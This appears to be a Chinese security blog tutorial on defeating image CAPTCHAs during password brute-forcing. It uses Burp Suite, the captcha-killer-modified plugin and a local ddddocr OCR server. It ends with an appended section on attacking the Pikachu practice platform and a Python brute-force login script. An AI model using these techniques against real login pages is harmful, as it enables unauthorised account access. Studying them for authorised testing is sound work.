全网最简单的 burp 验证码识别爆破

1 前期准备

下载插件:

https://github.com/f0ng/captcha-killer-modified/releases/tag/0.24.3
根据启动burp的java版本下载对应的插件版本

根据启动burp的java版本下载对应的插件版本

配置python环境:

代码如下:

# -*- encoding=utf-8 -*-

import argparse
import ddddocr                      
from aiohttp import web

ocr = ddddocr.DdddOcr()
async def handle_cb(request):
    return web.Response(text=ocr.classification(await request.text()))

app = web.Application()
app.add_routes([web.post('/reg', handle_cb)])

if __name__ == '__main__':
    web.run_app(app,host='127.0.0.1',port=8881)

安装库:

flask
ddddocr
Pillow==9.5.0
aiohttp==3.8.3
argparse==1.1

pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

2 验证码爆破

插件安装

添加-文件选择插件captcha-killer-modified-点击下一个
在这里插入图片描述
在这里插入图片描述
点击网页当中的验证码-抓包-将包发送给插件captcha-killer-modified

在这里插入图片描述
插件点击获取返回验证码即证明插件安装成功
在这里插入图片描述

接口启动

此处我的python环境为3.8.10
在这里插入图片描述
模板库选择ddddocr-修改端口与python当中的保持一致-点击识别
在这里插入图片描述
点击识别成功匹配出验证码
在这里插入图片描述

爆破

选中识别出的验证码,并将其标记为识别结果。
在这里插入图片描述
攻击类型选择Pitchfork,将变量1,2分别设置为密码和验证码
在这里插入图片描述
变量1密码,正常选择密码爆破文档
在这里插入图片描述
变量2-选择通过扩展生成-扩展选中captcha-killer-modified-OK
在这里插入图片描述

### 使用Burp Suite对Pikachu平台实施验证码爆破攻击 #### 安装与配置环境 为了能够顺利进行暴力破解操作,需先确保已正确安装并配置好Burp Suite软件。对于特定功能需求如验证码处理,则要额外加载支持插件来增强其能力[^2]。 #### 清理历史记录以便于后续工作开展 进入Proxy模块下的HTTP History界面清除之前所有的访问痕迹,这样做是为了更清晰地定位即将发起请求的相关信息而不受干扰项影响;接着重新载入目标站点的登录页从而获取最新的认证令牌(Token),此步骤至关重要因为每次页面刷新都会更新这个一次性使用的安全参数,在随后构建自动化脚本时需要用到它作为必要组成部分之一[^3]。 #### 抓取并分析登录过程中的关键要素 利用浏览器开发者工具或者直接依靠Burp自身的拦截机制监视整个提交表单的过程,重点关注POST方法携带的数据字段特别是那些动态生成的部分比如CSRF Token等防重放措施所涉及的内容。同时也要留意服务器响应里可能存在的提示消息或错误描述有助于调整猜测策略提高成功率[^1]。 #### 设置Intruder用于执行实际的密码尝试任务 切换到Intruder标签页内创建新的Attack定义,指定先前捕获的那个包含用户名/口令输入框在内的Request作为模板。接下来就是精心挑选Payloads集合——即待测账户名列表加上字典文件组合而成的整体候选集,并且针对每一轮试验合理安排并发数量以平衡效率同稳定性之间的关系。 #### 应对可能出现的人机验证挑战 如果遇到图形化形式呈现出来的检验环节,那么除了依赖OCR技术自动解析之外还可以考虑搜集大量样本训练专门模型实现精准识别转换成可被程序理解的文字串再参与整体流程当中去。当然有时候最简单的办法反而是寻找规律避开正面冲突,例如观察URL变化模式、Cookie属性设置等方面是否存在漏洞可供利用绕过这层防护屏障直达核心业务逻辑层面继续深入探索。 ```python import requests def attempt_login(username, password): url = "http://example.com/login" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', # Add other necessary headers here based on your observation from Burp's interception. } data = { 'username': username, 'password': password, 'csrf_token': get_current_csrf_token() # Function to fetch the latest CSRF token dynamically. } response = requests.post(url, headers=headers, data=data) if "Login successful" in response.text: print(f"[+] Login succeeded with {username}:{password}") return True else: print(f"[-] Failed login attempt using {username}:{password}") return False def main(): usernames = ["admin", "test"] passwords = load_password_list_from_file("path/to/password/dictionary.txt") for user in usernames: for pwd in passwords: success = attempt_login(user, pwd) if success: break if __name__ == "__main__": main() ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值